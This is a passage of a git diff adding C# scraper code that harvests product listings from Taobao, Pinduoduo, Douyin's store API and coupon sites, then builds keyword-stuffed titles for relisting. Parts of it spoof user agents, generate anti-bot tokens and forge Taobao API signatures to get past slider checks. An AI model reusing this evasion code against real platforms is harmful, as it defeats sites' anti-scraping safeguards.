GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + + // Sku采集 + private string RequestSku(string productId) + { + HttpWebResponse response = null; + string result = ""; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ec.snssdk.com/product/getstock?id=" + productId + "&add_cart=0&b_type_new=0&device_id=0&is_outside=1"); + + request.KeepAlive = true; + request.Headers.Add("sec-ch-ua", @"""Chromium"";v=""92"", "" Not A;Brand"";v=""99"", ""Google Chrome"";v=""92"""); + request.Accept = "application/json, text/plain, */*"; + request.Headers.Add("sec-ch-ua-mobile", @"?0"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36"; + request.Headers.Add("Origin", @"https://haohuo.jinritemai.com"); + request.Headers.Add("Sec-Fetch-Site", @"cross-site"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = "https://haohuo.jinritemai.com/"; + //request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + //request.Headers.Set(HttpRequestHeader.Cookie, @"passport_csrf_token=89e087e1541315f257f2439fdc939606"); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + } +} diff --git a/Work/CollectClass/CollectKeywordByTaobao.cs b/Work/CollectClass/CollectKeywordByTaobao.cs new file mode 100644 index 0000000..0f06b23 --- /dev/null +++ b/Work/CollectClass/CollectKeywordByTaobao.cs @@ -0,0 +1,1170 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using System.Linq; +using AllBase; +using Newtonsoft.Json.Linq; +using Work.Api; +using Work.ManageClass; +using NaiBa.Util.Extension; + +namespace Work.CollectClass +{ + public class CollectKeywordByTaobao + { + public string Name; + public static int PageTop = 0; + public static int MaxCount = 0; + public static int ThisCount = 0; + public static int MinPrice = 0; + public static int MaxPrice = 0; + public static int MinSale = 0; + public static int MaxSale = 0; + public static int MainImageCut = 0; + public static int MaxTitleLen = 30; + public static int FessionCount = 1; + public static int MainCatId = 0; + public static int coupon = 0; + public static int tkRate = 0; + public static int sales = 0; + public static int MaxSingleKeywordProduct = 10000; + public static List Product = new List(); + public static List ProductTemp = new List(); + public static List ProductTaoKeTemp = new List(); + public static Dictionary> KeywordFiles = new Dictionary>(); + public static List MallId = new List(); + public string Keywords, OutKeyword; + public static string AddKeyword = ""; + public static bool Running = false; + public static bool AutoAddToUpList = false, TaobaoCollect = false, TaoKeCollect = false, PinduoduoCollect = false, PinduoduoShopCollect = false, + MeiLiZheCollect = false, OnlyFree = false, AllCatAdd = false, Alibaba = false, DataCenter = false, AutoAdd = false, Waiting = false, + SaveCollect = false, BaoYou = false, TaoJiJi = false; + public static string outKeywordrich; + public static string addKeywordrich; + public CollectKeywordByTaobao(string keywords, string outKeyword, string addKeyword, string name) + { + Keywords = keywords; + OutKeyword = outKeyword; + AddKeyword = addKeyword; + Name = name; + } + + public static string strContent = ""; + public void Get() + { + if (string.IsNullOrEmpty(strContent)) + { + string path = AppDomain.CurrentDomain.BaseDirectory + "anti_content.js"; + strContent = File.ReadAllText(path); + } + Running = true; + + Product.Clear(); + ProductTemp.Clear(); + //ProductTaoKeTemp.Clear(); + string[] l = Keywords.Split('\n'); + string[] noKeyword = OutKeyword.Split('\n'); + MaxCount = PageTop * l.Length; + List ts = new List(); + + for (int i = 0; i < l.Length; i++) + { + string keyword = l[i].Trim(); + if (string.IsNullOrEmpty(keyword)) + continue; + int pidCount = 0; + //if (PinduoduoCollect) + //{ + // string url= "http://pcat.qixiaoke.com/taobao/pinduoduo_search.php?keyword=" + GetHtml.UrlEncodeUtf8(keyword); + // string data = UserLogin.GetSignaturex()+ "&pi=" + MinPrice + "&pa=" + MaxPrice+ "&pi=" + MinPrice + "&pa=" + MaxPrice; + // string html = GetHtml.PostUtf8(url, data); + // var m = BaseRegex.GetMatchRegex(ref html, @"""attrs"":\{([^\}]+)\}"); + // for (int j = 0; m!=null && j < m.Count; j++) + // { + + // } + //} + if (TaoKeCollect) + PageTop = 1000; + for (int k = 0; TaoKeCollect && k <= PageTop; k++) + { + if (pidCount >= MaxSingleKeywordProduct) + break; + string url = "http://www.dataoke.com/qlist/?px=zh&sales=" + sales + "&tk_rate=" + tkRate + "&coupon_money=" + coupon + "&page=" + (k + 1); + if (keyword != "无") + url += "&keywords=" + GetHtml.UrlEncodeUtf8(keyword); + string refere = "www.dataoke.com"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + + var m = BaseRegex.GetMatchRegex(ref html, @"]+?)""\s*target=""_blank""\s*title=""([^>]+?)"""); + if (m != null && m.Count == 0) + { + break; + } + for (int q = 0; m != null && q < m.Count; q++) + { + if (pidCount >= MaxSingleKeywordProduct) + break; + string urlx = "http://www.dataoke.com/" + m[q].Groups[1].Value; + string title = m[q].Groups[2].Value; + html = GetPostTaobaoHtml.UploadTaobao(urlx, refere, true); + string pattern = @"]+?)"""; + var mc = BaseRegex.GetMatchRegex(ref html, pattern); + if (mc != null && mc.Count == 0) + continue; + string taobaoUrl = mc[0].Groups[1].Value; + string id = BaseRegex.GetMatchRegexString(taobaoUrl, @"id=([\d]+)"); + if (string.IsNullOrEmpty(id)) + continue; + //pattern = @"券后价¥([\w\W]+?)"; + pattern = @"券后价[\s\S]+?¥([\w\W]+?)"; + mc = BaseRegex.GetMatchRegex(ref html, pattern); + if (mc != null && mc.Count == 0) + continue; + string quanHou = mc[0].Groups[1].Value; + pattern = @"原价¥([\w\W]+?)"; + mc = BaseRegex.GetMatchRegex(ref html, pattern); + if (mc != null && mc.Count == 0) + continue; + string yuanPrice = mc[0].Groups[1].Value; + pattern = @"销量([\w\W]+?)"; + mc = BaseRegex.GetMatchRegex(ref html, pattern); + if (mc != null && mc.Count == 0) + continue; + string xiaoLiang = mc[0].Groups[1].Value; + pattern = @"佣金([\w\W]+?)%"; + mc = BaseRegex.GetMatchRegex(ref html, pattern); + if (mc != null && mc.Count == 0) + continue; + string yongJin = mc[0].Groups[1].Value; + + pattern = @"优惠券¥([\w\W]+?)"; + mc = BaseRegex.GetMatchRegex(ref html, pattern); + if (mc != null && mc.Count == 0) + continue; + string youHuei = mc[0].Groups[1].Value; + string keId = BaseRegex.GetMatchRegexString(m[q].Groups[1].Value, @"id=([\d]+)"); + if (string.IsNullOrEmpty(id)) + continue; + + ProductTaoKeBase t = new ProductTaoKeBase(); + t.Title = title; + t.TaoKeId = long.Parse(keId); + t.TaoKeUrl = urlx; + t.toId = long.Parse(id); + t.taoBaoUrl = taobaoUrl; + t.quanHou = quanHou; + t.yuanPrice = yuanPrice; + t.xiaoLiang = xiaoLiang; + t.yongJin = yongJin; + t.youHuei = youHuei; + + pidCount++; + + //ProductTaoKeTemp.Add(t); + int sals = 0; + if (t.xiaoLiang.Contains("万")) + { + decimal d = Decimal.Parse(BaseRegex.GetMatchRegexString(t.xiaoLiang, @"([\d\.]+)")); + sals = (int)(d * 10000); + } + else + { + sals = int.Parse(t.xiaoLiang); + } + Threadx.ThreadListWait(ref ts, new Thread(new GetPinduoduoTitleCat(title, keyword, Name, sals, decimal.Parse(yuanPrice), q, t.toId, t).Get), 5); + if (!Running) + goto EndAll; + } + + } + + //// 采集美丽折 + //if (MeiLiZheCollect) + //{ + //} + + for (int j = 1; PinduoduoCollect && j <= PageTop; j++) + { + if (keyword == "无") + break; + if (pidCount >= MaxSingleKeywordProduct) + break; + if (!CollectKeywordByTaobao.Running) + return; + string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000"; + string str = ""; + for (int k = 0; k < 16; k++) + { + str += new Random(Guid.NewGuid().GetHashCode()).Next(9); + } + string strToken = str + "-" + strTime; + string strNumber = ""; + string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber); + string codex = UploadPinduoduoSet.ExecuteScript(fun2, strContent); + + + string url = "http://apiv3.yangkeduo.com/search?page=" + j + "&q=" + GetHtml.UrlEncodeUtf8(keyword) + "&size=50&requery=0&sort=_sales&list_id=search_UHpDve&filter=price," + MinPrice + "," + MaxPrice; + string userAgent = + "android Mozilla/5.0 (Linux; Android 4.4.2; HUAWEI MLA-AL10 Build/HUAWEIMLA-AL10) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 phh_android_version/3.63.0 phh_android_build/228842 phh_android_channel/yyb"; + + //userAgent = BaseClass.ChromeUserAgent; + string html = GetHtmlUrl(url); + + if (string.IsNullOrEmpty(html) || !html.Contains("\"icon\"")) + { + Thread.Sleep(20 * 1000); + html = GetHtml.GetUtf8(url, userAgent); + } + if (string.IsNullOrEmpty(html) || !html.Contains("\"icon\"")) + { + Thread.Sleep(40 * 1000); + html = GetHtml.GetUtf8(url, userAgent); + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{""thumb_url"":[\w\W]+?""short_name"":([^\}]+?)\}"); + if (m != null && m.Count == 0) + { + break; + } + for (int k = 0; m != null && k < m.Count; k++) + { + while (Running && Waiting) + Thread.Sleep(100); + if (!CollectKeywordByTaobao.Running) + return; + string list = m[k].Groups[0].Value; + TaobaoProductBase t = new TaobaoProductBase(); + t.FromId = BaseRegex.GetLongJson(ref list, "goods_id"); + if (t.FromId == 0) + { + continue; + } + bool had = false; + for (int n = 0; n < Product.Count; n++) + { + if (Product[n].FromId == t.FromId) + { + had = true; + break; + } + } + if (had) + { + continue; + } + t.FromType = "拼多多"; + t.Keyword = keyword; + t.Price = BaseRegex.GetIntJson(ref list, "price") / 100m; + t.SaleCount = BaseRegex.GetIntJson(ref list, "sales"); + t.Titlte = BaseRegex.GetStringJson(ref list, "goods_name"); + + if (string.IsNullOrEmpty(t.Titlte)) + continue; + t.Titlte = AddTitleKeyword(t.Titlte); + + t.MainImage = MainImageCut; + string country = BaseRegex.GetStringJson(ref list, "country"); + if (string.IsNullOrEmpty(t.Titlte) || !string.IsNullOrEmpty(country)) + { + continue; + } + bool hadNoKeyword = false; + foreach (string s in noKeyword) + { + if (string.IsNullOrEmpty(s)) + continue; + if (t.Titlte.Contains(s.Trim())) + { + hadNoKeyword = true; + break; + } + } + if (hadNoKeyword) + continue; + if (t.Price < MinPrice || t.Price > MaxPrice || t.SaleCount < MinSale || t.SaleCount > MaxSale) + continue; + + if (pidCount >= MaxSingleKeywordProduct) + break; + pidCount++; + string cats = BaseRegex.GetMatchRegexString(ref list, @"""cate_list"":\[([\d,]+)\]"); + if (!string.IsNullOrEmpty(cats)) + { + string[] li = cats.Split(','); + if (li.Length == 4) + { + t.Cat1 = int.Parse(li[0]); + t.Cat2 = int.Parse(li[1]); + t.Cat3 = int.Parse(li[2]); + t.Cat4 = int.Parse(li[3]); + } + } + else + { + MobileDetail md = new MobileDetail(Name, t.FromId); + ProductCollectBase pp = md.Get(); + t.Cat1 = pp.cat1; + t.Cat2 = pp.cat2; + t.Cat3 = pp.cat3; + t.Cat4 = pp.cat4; + t.CatId = pp.cat_id; + } + t.CatId = t.Cat4 > 0 ? t.Cat4 : t.Cat3; + var ft = new FromTitleToCat(); + t.MainCatId = ft.GetMainCatId(t.Cat1); + t.MainCatName = ft.MainCatName; + t.MainImage = MainImageCut; + if (t.MainCatId == 0 || MainCatId > 0 && MainCatId != t.MainCatId) + { + continue; + } + if (KeywordFiles.ContainsKey(keyword)) + { + for (int n = 0; n < CollectKeywordByTaobao.FessionCount; n++) + { + var tt = t.Clone(); + tt.Titlte = GetTitleFission(MaxTitleLen, keyword, KeywordFiles[keyword]); + Product.Add(tt); + ProductTemp.Add(tt); + if (AutoAdd) + { + UploadPinduoduoMain.ProductStock.Add(t); + UploadPinduoduoMain.AddToDataBase(t); + } + } + continue; + } + Product.Add(t); + ProductTemp.Add(t); + if (AutoAdd) + { + UploadPinduoduoMain.ProductStock.Add(t); + UploadPinduoduoMain.AddToDataBase(t); + } + if (!Running) + goto EndAll; + //Thread.Sleep(1000); + } + Thread.Sleep(1000); + ThisCount = i * PageTop + j; + } + + for (int j = 1; TaobaoCollect && j <= PageTop; j++) + { + if (keyword == "无") + break; + if (pidCount >= MaxSingleKeywordProduct) + break; + string url = "https://s.taobao.com/search?sourceId=tb.item&search_type=item&ssid=s5-e&s_from=newHeader&q=" + + GetHtml.UrlEncodeUtf8(keyword) + + "&suggest=0_1&_input_charset=utf-8&wq=s&suggest_query=s&source=suggest&bcoffset=0&ntoffset=0&p4ppushleft=%2C44&sort=sale-desc&s=" + + (44 * (j - 1)); + if (BaoYou) + url += "&fs=1&baoyou=1"; + string refere = "https://s.taobao.com/"; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + if (html.Contains("https://login.taobao.com/")) + { + MessageBox.Show("请登录淘宝用户"); + return; + } + string htmlxt = ""; + if (html.Contains("滑动")) + { + long time; + string data = "{\"isSec\":0}"; + string sign = GetSign("", data, out time); + url = "https://api.m.taobao.com/h5/mtop.user.getusersimple/1.0/?appKey=12574478&t=" + time + "&sign=" + sign + + "&api=mtop.user.getUserSimple&v=1.0&H5Request=true&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=" + GetHtml.UrlEncodeUtf8(data); + //获取用户的所有地址编号 + htmlxt = GetPostTaobaoHtml.UploadTaobaoTokenx(url, url, true); + if (string.IsNullOrEmpty(htmlxt) || !htmlxt.Contains("_m_h5_tk"))//没有登录获取token获取失败 + { + return; + } + string h5Tkt = BaseRegex.GetMatchRegexString(ref htmlxt, "_m_h5_tk=([^_]+?)_"); + string addCookies = BaseRegex.GetMatchRegexString(ref htmlxt, "(_m_h5_tk=[^;]+?;)") + " " + + BaseRegex.GetMatchRegexString(ref htmlxt, "(_m_h5_tk_enc=[^;]+?;)"); + string cookies = GetPostTaobaoHtml.GetCookies(url, ""); + cookies = BaseRegex.Relpace(cookies, "(_m_h5_tk=[^;]+?;)", ""); + cookies = BaseRegex.Relpace(cookies, "(_m_h5_tk_enc=[^;]+?;)", ""); + cookies += addCookies; + + data = "{\"q\":\"" + keyword + "\",\"search\":\"提交\",\"tab\":\"all\",\"sst\":\"1\",\"n\":20,\"buying\":\"buyitnow\",\"m\":\"api4h5\",\"token4h5\":\"\",\"abtest\":\"55\",\"wlsort\":\"55\",\"page\":" + j + "}"; + sign = GetSign(h5Tkt, data, out time); + + url = " https://acs.m.taobao.com/h5/mtop.taobao.wsearch.h5search/1.0/?jsv=2.3.16&appKey=12574478&t=" + time + + "&sign=" + sign + "&api=mtop.taobao.wsearch.h5search&v=1.0&H5Request=true&ecode=1&AntiCreep=true&AntiFlool=true&type=jsonp&dataType=jsonp&callback=mtopjsonp1&data=" + GetHtml.UrlEncodeUtf8(data); + refere = ""; + htmlxt = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies); + } + + if (string.IsNullOrEmpty(html) || !html.Contains("view_price") && string.IsNullOrEmpty(htmlxt)) + { + Thread.Sleep(10 * 1000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + } + if (string.IsNullOrEmpty(html) || !html.Contains("view_price") && string.IsNullOrEmpty(htmlxt)) + { + Thread.Sleep(30 * 1000); + html = GetPostTaobaoHtml.UploadTaobao(url, refere, true); + } + + var m = BaseRegex.GetMatchRegex(ref html, @"""nid"":""([\d]+)"".*?""raw_title"":""([^""]+?)"".*?""view_price"":""([^""]+?)"".*?""view_sales"":""([\d\.万]+)"); + //string url = BaseClass.LoginApiUrl + "?obj=product/taobao_search_bak&act=search"; + //string data = UserLogin.GetSignaturex() + "&keyword=" + GetHtml.UrlEncodeUtf8(keyword) + "&page=" + j + "&startPrice=" + MinPrice + "&endPrice=" + MaxPrice; + //string html = GetHtml.PostUtf8(url, data); + //html = GetHtml.Decode(html).Replace("\\/","/"); + //m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+)\}"); + for (int k = 0; k < m.Count; k++) + { + while (Running && Waiting) + Thread.Sleep(100); + if (!Running) + return; + string list = m[k].Groups[0].Value; + decimal free = BaseRegex.GetDecimalJson(ref list, "view_fee"); + if (free > 0 && OnlyFree) + continue; + long pid = long.Parse(m[k].Groups[1].Value); + string title = m[k].Groups[2].Value; + int sals = 0; + if (m[k].Groups[4].Value.Contains("万")) + { + decimal d = Decimal.Parse(BaseRegex.GetMatchRegexString(m[k].Groups[4].Value, @"([\d\.]+)")); + sals = (int)(d * 10000); + } + else + { + sals = int.Parse(m[k].Groups[4].Value); + } + decimal price = decimal.Parse(m[k].Groups[3].Value); + if (price < MinPrice || price > MaxPrice || sals > MaxSale) + continue; + //long pid = BaseRegex.GetLongJson(ref list, "num_iid"); + //string title = BaseRegex.GetStringJson(ref list, "title"); + //int sals = BaseRegex.GetIntJson(ref list, "volume"); + //decimal price = BaseRegex.GetDecimalJson(ref list, "zk_final_price"); + if (string.IsNullOrEmpty(title) || title.Contains("天猫超市")) + { + LogSave.Add(Name, "过滤天猫超市"); + continue; + } + if (sals > MaxSale) + continue; + if (sals < MinSale) + { + LogSave.Add(Name, "销量过低退出"); + goto End; + } + bool hadNoKeyword = false; + foreach (string s in noKeyword) + { + if (string.IsNullOrEmpty(s)) + continue; + if (title.Contains(s.Trim())) + { + title = title.Replace(s.Trim(), ""); + //break; + } + } + if (hadNoKeyword) + continue; + title = AddTitleKeyword(title); + if (KeywordFiles.ContainsKey(keyword)) + { + title = GetTitleFission(MaxTitleLen, keyword, KeywordFiles[keyword]); + } + + bool had = false; + for (int n = 0; n < Product.Count; n++) + { + if (Product[n].Titlte == title || Product[n].FromId == pid) + { + had = true; + break; + } + } + if (had) + { + LogSave.Add(Name, "标题已经存在:" + title); + continue; + + } + if (pidCount >= MaxSingleKeywordProduct) + break; + pidCount++; + + for (int n = 1; KeywordFiles.ContainsKey(keyword) && n < FessionCount; n++) + { + title = GetTitleFission(MaxTitleLen, keyword, KeywordFiles[keyword]); + Threadx.ThreadListWait(ref ts, new Thread(new GetPinduoduoTitleCat(title, keyword, Name, sals, price, j, pid).Get), 20); + if (n == 1) + Thread.Sleep(5 * 1000); + else + Thread.Sleep(1 * 1000); + } + if (KeywordFiles.ContainsKey(keyword)) + { + title = GetTitleFission(MaxTitleLen, keyword, KeywordFiles[keyword]); + } + Threadx.ThreadListWait(ref ts, new Thread(new GetPinduoduoTitleCat(title, keyword, Name, sals, price, j, pid).Get), 20); + if (!Running) + goto EndAll; + } + + + m = BaseRegex.GetMatchRegex(ref htmlxt, @"{[^>]+?}"); + for (int k = 0; k < m.Count; k++) + { + while (Running && Waiting) + Thread.Sleep(100); + if (!Running) + return; + string list = m[k].Groups[0].Value; + //decimal free = BaseRegex.GetDecimalJson(ref list, "view_fee"); + //if (free > 0 && OnlyFree) + // continue; + long pid = BaseRegex.GetLongJson(ref list, "item_id"); + string title = BaseRegex.GetStringJson(ref list, "title"); + int sals = BaseRegex.GetIntJson(ref list, "sold"); + decimal price = BaseRegex.GetDecimalJson(ref list, "price"); + if (price < MinPrice || price > MaxPrice || sals > MaxSale) + continue; + //long pid = BaseRegex.GetLongJson(ref list, "num_iid"); + //string title = BaseRegex.GetStringJson(ref list, "title"); + //int sals = BaseRegex.GetIntJson(ref list, "volume"); + //decimal price = BaseRegex.GetDecimalJson(ref list, "zk_final_price"); + if (string.IsNullOrEmpty(title) || title.Contains("天猫超市")) + { + LogSave.Add(Name, "过滤天猫超市"); + continue; + } + if (sals > MaxSale) + continue; + if (sals < MinSale) + { + LogSave.Add(Name, "销量过低退出"); + goto End; + } + bool hadNoKeyword = false; + foreach (string s in noKeyword) + { + if (string.IsNullOrEmpty(s)) + continue; + if (title.Contains(s.Trim())) + { + title = title.Replace(s.Trim(), ""); + //break; + } + } + if (hadNoKeyword) + continue; + title = AddTitleKeyword(title); + if (KeywordFiles.ContainsKey(keyword)) + { + title = GetTitleFission(MaxTitleLen, keyword, KeywordFiles[keyword]); + } + + bool had = false; + for (int n = 0; n < Product.Count; n++) + { + if (Product[n].Titlte == title || Product[n].FromId == pid) + { + had = true; + continue; + } + } + if (had) + { + LogSave.Add(Name, "标题已经存在:" + title); + continue; + + } + if (pidCount >= MaxSingleKeywordProduct) + break; + pidCount++; + + for (int n = 1; KeywordFiles.ContainsKey(keyword) && n < FessionCount; n++) + { + title = GetTitleFission(MaxTitleLen, keyword, KeywordFiles[keyword]); + Threadx.ThreadListWait(ref ts, new Thread(new GetPinduoduoTitleCat(title, keyword, Name, sals, price, j, pid).Get), 20); + if (n == 1) + Thread.Sleep(5 * 1000); + else + Thread.Sleep(1 * 1000); + } + if (KeywordFiles.ContainsKey(keyword)) + { + title = GetTitleFission(MaxTitleLen, keyword, KeywordFiles[keyword]); + } + Threadx.ThreadListWait(ref ts, new Thread(new GetPinduoduoTitleCat(title, keyword, Name, sals, price, j, pid).Get), 20); + if (!Running) + goto EndAll; + } + LogSave.Add(Name, "关键词:" + keyword + " 分页:" + j); + if (AllCatAdd) + { + LogSave.Add(Name, "关键词:" + keyword + "数据已经加入到群控上货"); + } + Thread.Sleep(1000); + ThisCount = i * PageTop + j; + } + + for (int j = 1; TaoJiJi && j <= PageTop; j++) + { + if (keyword == "无") + break; + if (pidCount >= MaxSingleKeywordProduct) + break; + if (!CollectKeywordByTaobao.Running) + return; + + string url = "https://api.tjjapp.com/Api2_24_0/goods/goodslist?nowpage=" + j + "&keyword=" + GetHtml.UrlEncodeUtf8(keyword) + "&minimum_price=" + MinPrice + "&highest_price=" + MaxPrice + "×tamp=" + DateTime.Now.Ticks; + string html = GetHtmlUrl(url); + JObject json = JObject.Parse(html); + if (json["result"].ToString() == "1") + { + var goods = json["goods"]; + if (goods != null) + { + foreach (var good in goods) + { + while (Running && Waiting) + Thread.Sleep(100); + if (!CollectKeywordByTaobao.Running) + return; + TaobaoProductBase t = new TaobaoProductBase(); + t.FromId = good["goodsId"].ParseToLong(); + if (t.FromId == 0) + { + continue; + } + if (Product.Where(p => p.FromId == t.FromId).Any()) + { + continue; + } + t.FromType = "淘集集"; + t.Keyword = keyword; + t.Price = good["crazyPrice"].ParseToDecimal(); + t.SaleCount = good["saleNum"].ParseToString().Replace(",", string.Empty).Replace("人抢购", string.Empty).ParseToInt(); + t.Titlte = good["goodsName"].ParseToString(); + + if (string.IsNullOrEmpty(t.Titlte)) + { + continue; + } + t.Titlte = AddTitleKeyword(t.Titlte); + t.MainImage = MainImageCut; + if (noKeyword.Where(p => t.Title.Contains(p.ParseToString().Trim())).Any()) + { + continue; + } + if (t.Price < MinPrice || t.Price > MaxPrice || t.SaleCount < MinSale || t.SaleCount > MaxSale) + { + continue; + } + if (pidCount >= MaxSingleKeywordProduct) + { + break; + } + pidCount++; + + Threadx.ThreadListWait(ref ts, new Thread(new GetPinduoduoTitleCat(t.Titlte, keyword, Name, t.SaleCount, t.Price, j, t.FromId, t.FromType).Get), 20); + if (!Running) + goto EndAll; + } + } + if (string.IsNullOrEmpty(json["nextPage"].ParseToString())) + { + break; + } + } + Thread.Sleep(1000); + ThisCount = i * PageTop + j; + } + + if (Alibaba) + { + SearchKeywordByAlibaba sa = new SearchKeywordByAlibaba(Name); + int webCursor = 0; + sa.GetKeyword(keyword, ref webCursor); + } + + End: + int ii = 0; + } + Threadx.ThreadListWait(ref ts); + + EndAll: + ThisCount = MaxCount; + Running = false; + } + public string GetSign(string h5Tk, string data, out long time) + { + string appkey = "12574478"; + System.DateTime starttime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); // 当地时区 + DateTime datetime = DateTime.Now; + time = (long)(datetime - starttime).TotalMilliseconds; // 相差毫秒数 + string code = h5Tk + "&" + time + "&" + appkey + "&" + data; + return Md5Base.GetMd5(code).ToLower(); + } + + public string GetHtmlUrl(string url) + { + try + { + string userAgen = "android Mozilla/5.0 (Linux; Android 4.4.2; HUAWEI MLA-AL10 Build/HUAWEIMLA-AL10) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 phh_android_version/3.23.0 phh_android_build/228842 phh_android_channel/qihu360"; + WebClientx web = new WebClientx(); + web.Headers.Add("Accept", "*/*"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", userAgen); + web.Headers.Add("Referer", url); + string h = web.Headers.ToString(); + web.Proxy = null; + byte[] b = web.DownloadData(url); + return Encoding.UTF8.GetString(b); + } + catch (Exception e) + { + return ""; + } + } + + /// + /// 获取标题 + /// + /// + /// + /// + /// + public static string GetTitleFission(int maxLen, string mainKeyword, List keys) + { + Thread.Sleep(1); + string temp = ""; + for (int j = 0; j < 200 && BaseClass.GetCharLength(temp) < maxLen * 2; j++) + { + if (!temp.Contains(mainKeyword)) + { + + if (BaseClass.GetCharLength(temp) > maxLen * 2 - 12) + temp += mainKeyword; + else + { + if (new Random(Guid.NewGuid().GetHashCode()).Next(10) == 1) + temp += mainKeyword; + } + } + string k = keys[new Random(Guid.NewGuid().GetHashCode()).Next(keys.Count)]; + if (k.Contains("\t")) + k = k.Substring(0, k.IndexOf("\t")); + if (temp.Contains(k)) + continue; + temp += k; + } + //if (temp.Length > maxLen * 2) + temp = BaseClass.SubCharLength(temp, maxLen * 2); + return temp; + } + + + /// + /// 随机增加关键词到标题中 + /// + /// + /// + public string AddTitleKeyword(string title) + { + if (string.IsNullOrEmpty(AddKeyword) || string.IsNullOrEmpty(title)) + return title; + string[] l = AddKeyword.Split('\n'); + for (int i = 0; i < 100 && title.Length < 55; i++) + { + string s = l[new Random(Guid.NewGuid().GetHashCode()).Next(l.Length)]; + if (string.IsNullOrEmpty(s) || title.Contains(AddKeyword)) + continue; + if (new Random(Guid.NewGuid().GetHashCode()).Next(0, 10) < 5) + { + title = s.Trim() + title; + } + else + { + title += s.Trim(); + } + } + return title; + } + + public static void GetKeywordsDir(string dir, string noKeyword) + { + KeywordFiles.Clear(); + Dictionary noKey = new Dictionary(); + noKey.Add("元", false); + noKey.Add("限购", false); + noKey.Add("限量", false); + noKey.Add("淘宝", false); + noKey.Add("天猫", false); + noKey.Add("官方", false); + noKey.Add("旗舰店", false); + noKey.Add("企业店", false); + noKey.Add("最", false); + noKey.Add("厂家", false); + string[] kk = noKeyword.Split('\n'); + for (int i = 0; i < kk.Length; i++) + { + string ke = kk[i].Trim(); + if (string.IsNullOrEmpty(ke) || noKey.ContainsKey(ke)) + continue; + noKey.Add(ke, false); + } + string[] l = Directory.GetFiles(dir); + string canNotKeywords = ""; + for (int i = 0; i < l.Length; i++) + { + string name = Path.GetFileNameWithoutExtension(l[i]); + List keywords = new List(); + string[] ll = FileBase.ReadAllLines(l[i]); + if (ll == null || ll.Length < 50) + { + canNotKeywords += "、" + name; + continue; + } + for (int j = 0; j < ll.Length; j++) + { + if (string.IsNullOrEmpty(ll[j])) + continue; + string key = ll[j].Trim().Replace("\t", " "); + if (key.Contains(" ")) + key = key.Substring(0, key.IndexOf(" ")); + bool had = false; + foreach (var k in noKey) + { + if (key.Contains(k.Key)) + { + had = true; + break; + } + } + if (had || keywords.Contains(key)) + continue; + keywords.Add(key); + } + if (KeywordFiles.ContainsKey(name) || keywords.Count < 20) + continue; + KeywordFiles.Add(name, keywords); + } + if (!string.IsNullOrEmpty(canNotKeywords)) + { + MessageBox.Show("文件描述词过少,跳过\r\n每个文件请至少添加50个描述词一行一个\r\n不符合条件关键词:\r\n" + canNotKeywords.Substring(1), "描述词过少"); + } + } + } + + public class GetPinduoduoTitleCat + { + public string title, keyword, Name; + public string fromType; + public int sals, j; + public decimal price; + public long pid; + public ProductTaoKeBase ke; + public ProductMeiLiZhe meiLiZheProduct; + + public GetPinduoduoTitleCat(string t, string k, string n, int s, decimal p, int jj, long pi) + { + title = t; + keyword = k; + Name = n; + sals = s; + price = p; + j = jj; + pid = pi; + } + + public GetPinduoduoTitleCat(string t, string k, string n, int s, decimal p, int jj, long pi, string fromType) + { + title = t; + keyword = k; + Name = n; + sals = s; + price = p; + j = jj; + pid = pi; + this.fromType = fromType; + } + + public GetPinduoduoTitleCat(string t, string k, string n, int s, decimal p, int jj, long pi, ProductTaoKeBase taoke) + { + title = t; + keyword = k; + Name = n; + sals = s; + price = p; + j = jj; + pid = pi; + ke = taoke; + } + + + public GetPinduoduoTitleCat(string t, string k, string n, int s, decimal p, int jj, long pi, ProductMeiLiZhe meilizhe) + { + title = t; + keyword = k; + Name = n; + sals = s; + price = p; + j = jj; + pid = pi; + meiLiZheProduct = meilizhe; + } + + public void Get() + { + FromTitleToCat f = new FromTitleToCat(); + f.MainServer = true; + bool had = f.Get(title, pid, 1); + if (!had) + { + LogSave.Add(Name, "未找到分类:" + title); + return; + } + TaobaoProductBase p = new TaobaoProductBase(); + + int cat4; + int.TryParse(f.Cat4, out cat4); + + p.FromId = pid; + p.SaleCount = sals; + p.Price = price; + p.Cat1 = int.Parse(f.Cat1); + p.Cat2 = int.Parse(f.Cat2); + p.Cat3 = int.Parse(f.Cat3); + + p.Cat4 = cat4; + p.MainCatId = 